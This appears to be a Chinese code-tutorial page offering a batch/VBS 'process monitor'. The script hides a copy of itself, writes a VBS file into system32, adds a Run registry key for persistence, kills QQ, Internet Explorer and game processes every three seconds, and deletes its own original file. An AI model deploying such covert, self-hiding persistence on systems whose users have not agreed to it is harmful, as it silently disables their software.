進(jìn)程監(jiān)控實(shí)現(xiàn)代碼[vbs+bat]
運(yùn)行后會(huì)在%windir%\system32\目錄下生成jk.vbs,
并且自動(dòng)添加注冊表啟動(dòng)項(xiàng),另外在D:\會(huì)生成一個(gè)隱藏屬性的JK.VBS,
3秒間隔監(jiān)控進(jìn)程,如果進(jìn)程中有QQ.exe、iexplore.exe、client.exe、game.exe進(jìn)程則會(huì)自動(dòng)結(jié)束進(jìn)程。
@echo off
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul
if exist d:\jk.bat del d:\jk.bat /q
copy %0 d:\jk.bat /y >nul
attrib +s +h +a +r d:\jk.bat
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul
echo Do>>%windir%\system32\jk.vbs
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs
echo strComputer = "." >>%windir%\system32\jk.vbs
echo Set objWMIService = GetObject("winmgmts:\\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs
echo Set colItems = objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs
echo For Each objItem in colItems >>%windir%\system32\jk.vbs
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs
echo Next>>%windir%\system32\jk.vbs
echo loop>>%windir%\system32\jk.vbs
start %windir%\system32\jk.vbs
del %0 /q
上一篇:清除垃圾的VBS文件 自動(dòng)查找多個(gè)盤
欄 目:vb
下一篇:沒有了
本文標(biāo)題:進(jìn)程監(jiān)控實(shí)現(xiàn)代碼[vbs+bat]
本文地址:http://mengdiqiu.com.cn/a1/vb/7515.html
您可能感興趣的文章
- 01-10多進(jìn)程的實(shí)現(xiàn)投票的vbs腳本
- 01-10利用vbs腳本實(shí)現(xiàn)設(shè)置IE的打印頁眉頁腳信息
- 01-10用vbs實(shí)現(xiàn)定時(shí)運(yùn)行web文件的方法
- 01-10利用vbs類實(shí)現(xiàn)css按鈕的代碼
- 01-10一些經(jīng)典的主要用戶黑客的vbs腳本結(jié)合echo的dos下實(shí)現(xiàn)
- 01-10基于邏輯運(yùn)算的簡單權(quán)限系統(tǒng)(原理,設(shè)計(jì),實(shí)現(xiàn)) VBS 版
- 01-10用vba實(shí)現(xiàn)將記錄集輸出到Excel模板
- 01-10用vbs實(shí)現(xiàn)本地連接禁用/啟用腳本代碼
- 01-10用vbs實(shí)現(xiàn)不死帳號的代碼
- 01-10基于邏輯運(yùn)算的簡單權(quán)限系統(tǒng)(原理,設(shè)計(jì),實(shí)現(xiàn)) VBS 版


閱讀排行
本欄相關(guān)
- 01-10下載文件到本地運(yùn)行的vbs
- 01-10飄葉千夫指源代碼,又稱qq刷屏器
- 01-10SendKeys參考文檔
- 01-10什么是一個(gè)高效的軟件
- 01-10VBS中的正則表達(dá)式的用法大全 &l
- 01-10exe2swf 工具(Adodb.Stream版)
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10用VBSCRIPT控制ONSUBMIT事件
- 01-10VBScript教程 第十一課深入VBScript
- 01-10VBScript語法速查及實(shí)例說明
隨機(jī)閱讀
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 01-10使用C語言求解撲克牌的順子及n個(gè)骰子
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
- 01-10delphi制作wav文件的方法
- 01-11ajax實(shí)現(xiàn)頁面的局部加載
- 08-05織夢dedecms什么時(shí)候用欄目交叉功能?
- 04-02jquery與jsp,用jquery
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 01-10C#中split用法實(shí)例總結(jié)
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文